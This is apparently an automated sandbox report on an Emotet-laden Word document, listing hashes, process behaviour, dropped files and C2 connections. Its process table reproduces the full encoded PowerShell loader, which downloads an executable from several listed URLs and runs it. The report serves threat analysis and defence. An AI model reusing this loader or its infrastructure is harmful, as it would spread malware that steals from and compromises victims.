| File name: | 請求書.doc |
| Full analysis: | https://app.any.run/tasks/9e6c1b71-b30b-430c-b29a-ea37de7d8457 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | October 20, 2020, 03:56:52 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Qui., Author: Manon Colin, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Oct 20 01:15:00 2020, Last Saved Time/Date: Tue Oct 20 01:15:00 2020, Number of Pages: 1, Number of Words: 2064, Number of Characters: 11767, Security: 8 |
| MD5: | 73942FF94656F72C1E74F4E2AA39CD7D |
| SHA1: | 73B97ABF15CE9A20E25F633D53367D8C21A67D53 |
| SHA256: | 9DEAD7615C9982A5935592EA257A1C754B61EE79C39B61345CE30C18E1756CB2 |
| SSDEEP: | 3072:/JivKie6B/w2yiWydwWXk/7p16zy+S9Sd+l4PJhERTM5/oKUQ2t1zJ3ASY9h9N:/JiP/w2PrXu7p16zy+S9Sd+l4PJhERT0 |
MALICIOUS
Application was dropped or rewritten from another process
- Tbuqmpm6r.exe (PID: 3644)
- api-ms-win-core-file-l1-2-0.exe (PID: 532)
EMOTET was detected
- api-ms-win-core-file-l1-2-0.exe (PID: 532)
Connects to CnC server
- api-ms-win-core-file-l1-2-0.exe (PID: 532)
SUSPICIOUS
Executable content was dropped or overwritten
- Tbuqmpm6r.exe (PID: 3644)
- POwersheLL.exe (PID: 2976)
Executed via WMI
- POwersheLL.exe (PID: 2976)
- Tbuqmpm6r.exe (PID: 3644)
Creates files in the user directory
- POwersheLL.exe (PID: 2976)
PowerShell script executed
- POwersheLL.exe (PID: 2976)
Starts itself from another location
- Tbuqmpm6r.exe (PID: 3644)
Reads Internet Cache Settings
- api-ms-win-core-file-l1-2-0.exe (PID: 532)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2724)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2724)
Reads settings of System Certificates
- POwersheLL.exe (PID: 2976)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Qui. |
|---|---|
| Subject: | - |
| Author: | Manon Colin |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2020:10:20 00:15:00 |
| ModifyDate: | 2020:10:20 00:15:00 |
| Pages: | 1 |
| Words: | 2064 |
| Characters: | 11767 |
| Security: | Locked for annotations |
| Company: | - |
| Lines: | 98 |
| Paragraphs: | 27 |
| CharCountWithSpaces: | 13804 |
| AppVersion: | 15 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CodePage: | Unicode UTF-16, little endian |
| LocaleIndicator: | 1033 |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
42
Monitored processes
4
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 532 | "C:\Users\admin\AppData\Local\kbdnec\api-ms-win-core-file-l1-2-0.exe" | C:\Users\admin\AppData\Local\kbdnec\api-ms-win-core-file-l1-2-0.exe | Tbuqmpm6r.exe | ||||||||||||
User: admin Company: TODO: <Co Integrity Level: MEDIUM Description: TODO: <File descri Exit code: 0 Version: 1.0.0.1 Modules
| |||||||||||||||
| 2724 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\請求書.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2976 | POwersheLL -ENCOD IABTAGUAVAAtAHYAYQByAEkAQQBCAGwARQAgACAAKAAiAHMAYgAiACsAIgBBACIAKQAgACgAWwB0AHkAcABlAF0AKAAnAHMAWQBzAFQAJwArACcARQBtAC4AJwArACcASQBPACcAKwAnAC4AJwArACcAZABpAFIAJwArACcARQBjAFQAbwByAHkAJwApACkAIAA7ACAAIABTAEUAVAAtAFYAYQByAGkAYQBiAGwAZQAgAFEATgBFAG8AZAAgACgAWwB0AHkAUABFAF0AKAAnAFMAeQAnACsAJwBzAHQARQBNAC4AJwArACcATgBFAFQALgBzACcAKwAnAEUAcgBWAEkAYwAnACsAJwBlAHAATwBpAG4AJwArACcAdABtACcAKwAnAEEATgBBACcAKwAnAEcAJwArACcARQByACcAKQApACAAIAA7ACAAIAAgACAAUwB2ACAAKAAiADEAIgArACIANgBVAEUAWQAiACkAIAAoACAAIABbAHQAWQBQAEUAXQAoACcAUwB5ACcAKwAnAHMAdABFAG0AJwArACcALgBOACcAKwAnAGUAVAAuAHMARQBjAHUAUgBJAHQAJwArACcAeQBQAHIAbwAnACsAJwB0AE8AQwBPACcAKwAnAEwAdAB5AFAAZQAnACkAKQAgADsAJABEAHcAMgB2AG4AdwBkAD0AKAAnAEwAJwArACcAMwBqAGYAXwBvADIAJwApADsAJABFAHYAMwBpAHQAMQB0AD0AJABKAGsAbwAyAHMAZwBvACAAKwAgAFsAYwBoAGEAcgBdACgAOAAwACAALQAgADMAOAApACAAKwAgACQAWABoAHMAcgBmADAAdQA7ACQASgA3AGQAOABfADkAMwA9ACgAJwBCACcAKwAnAHQAdgA4AGcAYgAnACsAJwByACcAKQA7ACAAKAAgACAARwBlAHQALQB2AGEAUgBJAEEAYgBMAGUAIAAgACgAIgBzAEIAIgArACIAQQAiACkAIAAtAFYAQQBMAHUAZQBvAG4AKQA6ADoAYwBSAGUAYQBUAGUAZABpAHIAZQBjAHQATwByAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAEIAJwArACcAMAAnACsAJwA2AFYAZgBnAF8AeQBwAGgAQgAwACcAKwAnADYAVgB5ADQAXwBxAGUAaQBCADAAJwArACcANgAnACkAIAAgAC0AcgBlAFAAbABBAEMAZQAgACAAKABbAGMAaABhAHIAXQA2ADYAKwBbAGMAaABhAHIAXQA0ADgAKwBbAGMAaABhAHIAXQA1ADQAKQAsAFsAYwBoAGEAcgBdADkAMgApACkAOwAkAFkAegB4AGYAMQBzAHAAPQAoACcARgB6AHoAJwArACcAZgBlACcAKwAnAHcAcwAnACkAOwAgACgARwBlAHQALQB2AEEAUgBJAGEAQgBsAEUAIABRAG4AZQBvAGQAIAApAC4AdgBhAGwAdQBFADoAOgBzAEUAYwB1AFIAaQBUAFkAUAByAE8AVABPAEMAbwBsACAAPQAgACAAJAAxADYAdQBlAFkAOgA6AFQATABzADEAMgA7ACQARgBoADUAZABrADUAZgA9ACgAJwBOAGcAJwArACcAegAnACsAJwBfAHcAcwA2ACcAKQA7ACQATQBlAHkAbQBmADAAMAAgAD0AIAAoACcAVABiAHUAcQBtACcAKwAnAHAAbQA2AHIAJwApADsAJABSAGsAagB3AGQAcABhAD0AKAAnAFIAXwBpAG4AZgBkACcAKwAnAHUAJwApADsAJABRAHUANABxAG0AMgA1AD0AKAAnAEsAYwBjACcAKwAnAGIAZgA0ADcAJwApADsAJABWADcAcQBpADcAegBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHcAOABkAFYAJwArACcAZgBnAF8AeQAnACsAJwBwAGgAdwA4AGQAJwArACcAVgB5ADQAXwBxACcAKwAnAGUAJwArACcAaQAnACsAJwB3ADgAZAAnACkALgBSAGUAcABMAGEAQwBFACgAJwB3ADgAZAAnACwAWwBTAFQAUgBJAE4AZwBdAFsAQwBoAEEAcgBdADkAMgApACkAKwAkAE0AZQB5AG0AZgAwADAAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFEAZgBmADYAZgA4AGQAPQAoACcAWQB0ADQANwB4AG4AJwArACcANwAnACkAOwAkAEYAcAA5AHgANwA3AG0APQBOAEUAVwBgAC0AYABPAGIASgBFAEMAVAAgAG4ARQBUAC4AdwBFAGIAYwBMAEkARQBOAHQAOwAkAFAAbAB6AGgAegBiADkAPQAoACcAaAB0AHQAcABzADoALwAvAHEAdQBhAG4AdAB1ACcAKwAnAG0AZQAnACsAJwBkAHUALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnADIANAAzADYAaQAnACsAJwBUAG0ANABhAGMALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8ALwBmAGEAcwB0AG0AbwB0AG8AcgAuACcAKwAnADAAMAAwACcAKwAnAHcAZQBiAGgAbwBzAHQAYQAnACsAJwBwAHAALgBjAG8AJwArACcAbQAvAHcAcAAtAGEAZAAnACsAJwBtACcAKwAnAGkAbgAvACcAKwAnAE4AJwArACcAeABvAFYANABZAEkAVQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvAGUAYwBvAGwAZQBrAC4AZQBlAC8AdwBwAC0AYQBkACcAKwAnAG0AaQBuAC8ARQBWADAAJwArACcAUAAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8ALwB3AHcAdwAuAHAAbwAnACsAJwByAG4AJwArACcAbQAnACsAJwBhAG4ALgBjAG8AbQAvAGkAbQBnAC8AQwAvACoAaAB0AHQAJwArACcAcABzADoALwAnACsAJwAvAGUAeAAnACsAJwBhACcAKwAnAG0AcwAnACsAJwBpAG4AZgBvAC4AaQAnACsAJwBuAC8AJwArACcAdwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdABlAG4AdAAvAG8AJwArACcAaABVACcAKwAnADgAWgBEAEMAOAAnACsAJwBJAFgALwAqACcAKwAnAGgAdAB0AHAAOgAvAC8AZAAnACsAJwBlACcAKwAnAGEAbABzAG0AZQBkACcAKwAnAGkAYQAuAGkAbgAvACcAKwAnAHcAcAAtACcAKwAnAGMAbwAnACsAJwBuAHQAZQBuAHQALwBPAGIANwAzAHUASQAnACsAJwAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBoAHAAdwAnACsAJwBkACcAKwAnAHkAJwArACcALgBjACcAKwAnAG8AbQAvACcAKwAnAGQAbwBjAHMALwBqAGMAZAB1AHQAJwArACcAagAnACsAJwBqAC8AJwApAC4AUwBQAGwASQBUACgAJABYAGUAMwAzAGIAYgA0ACAAKwAgACQARQB2ADMAaQB0ADEAdAAgACsAIAAkAE0AcQBoAGEAbgAwADAAKQA7ACQAQwBrADEAYQA5ADEAYwA9ACgAJwBMACcAKwAnAHUAcgAnACsAJwA1ADkAOQBoACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUQBvADMAbwAyADIAdwAgAGkAbgAgACQAUABsAHoAaAB6AGIAOQApAHsAdAByAHkAewAkAEYAcAA5AHgANwA3AG0ALgBEAE8AVwBOAEwAbwBBAGQAZgBJAGwAZQAoACQAUQBvADMAbwAyADIAdwAsACAAJABWADcAcQBpADcAegBnACkAOwAkAEUAdwBmAGIAYQBkADkAPQAoACcASgAnACsAJwBoACcAKwAnAG8AMQAxAGMAOAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBgAEkAYABUAGUATQAgACQAVgA3AHEAaQA3AHoAZwApAC4ATABlAE4ARwBUAEgAIAAtAGcAZQAgADMAOQA2ADcAOAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQBuADMAJwArACcAMgBfAFAAcgBvAGMAZQBzAHMAJwApACkALgBjAFIARQBhAHQARQAoACQAVgA3AHEAaQA3AHoAZwApADsAJABYADMAbgB4ADcAdABnAD0AKAAnAEIAbAAnACsAJwBzAHUAXwBhACcAKwAnAHQAJwApADsAYgByAGUAYQBrADsAJABEADYAMgA1ADkANwBhAD0AKAAnAEMAJwArACcAeAAyAG0AbQBhAG8AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGoAYQBmADYAcABrAD0AKAAnAFkAJwArACcAXwAwADMAcAAnACsAJwBjAG4AJwApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3644 | C:\Users\admin\Vfg_yph\Vy4_qei\Tbuqmpm6r.exe | C:\Users\admin\Vfg_yph\Vy4_qei\Tbuqmpm6r.exe | wmiprvse.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
Total events
2 106
Read events
1 217
Write events
707
Delete events
182
Modification events
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ca7 |
Value: 63613700A40A0000010000000000000000000000 | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR4163.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2976 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FXJTOYW10BVYHFPFRQTE.temp | — | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$請求書.doc | pgc | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2976 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3644 | Tbuqmpm6r.exe | C:\Users\admin\AppData\Local\kbdnec\api-ms-win-core-file-l1-2-0.exe | executable | |
MD5:— | SHA256:— | |||
| 2976 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4d69.TMP | binary | |
MD5:— | SHA256:— | |||
| 2724 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2976 | POwersheLL.exe | C:\Users\admin\Vfg_yph\Vy4_qei\Tbuqmpm6r.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
6
DNS requests
2
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
532 | api-ms-win-core-file-l1-2-0.exe | POST | — | 177.130.51.198:80 | http://177.130.51.198/32XdIJ/H7bgtzAOgsh/R7rqjO11/ | BR | — | — | malicious |
532 | api-ms-win-core-file-l1-2-0.exe | POST | — | 91.121.87.90:8080 | http://91.121.87.90:8080/JiqHyxkk/ | FR | — | — | malicious |
532 | api-ms-win-core-file-l1-2-0.exe | POST | — | 104.131.144.215:8080 | http://104.131.144.215:8080/qnxr/VYeC9znOLZQPglFTuye/kx4aeNgsss9If/ | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2976 | POwersheLL.exe | 172.67.212.91:443 | quantumedu.com | — | US | unknown |
2976 | POwersheLL.exe | 145.14.144.115:443 | fastmotor.000webhostapp.com | Hostinger International Limited | US | shared |
532 | api-ms-win-core-file-l1-2-0.exe | 177.130.51.198:80 | — | Wsp Serviços de Telecomunicações Ltda | BR | malicious |
— | — | 91.121.87.90:8080 | — | OVH SAS | FR | malicious |
— | — | 104.131.144.215:8080 | — | Digital Ocean, Inc. | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
quantumedu.com |
| unknown |
fastmotor.000webhostapp.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1052 | svchost.exe | Not Suspicious Traffic | ET INFO Observed Free Hosting Domain (*.000webhostapp .com in DNS Lookup) |
2976 | POwersheLL.exe | Not Suspicious Traffic | ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com) |
532 | api-ms-win-core-file-l1-2-0.exe | A Network Trojan was detected | MALWARE [PTsecurity] Emotet |
1 ETPRO signatures available at the full report